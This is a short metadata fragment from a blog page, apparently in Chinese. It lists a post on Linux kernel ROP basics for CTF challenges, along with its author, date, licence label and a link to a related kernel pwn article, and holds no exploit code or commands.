【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF - arttnba3’s blog


0x01. Linux kernel基础:Kernel ROP
http://example.com/2024/07/20/system/kernel/Linux_kernel0_ROP/
作者
Ltfall
发布于
2024年7月20日
许可协议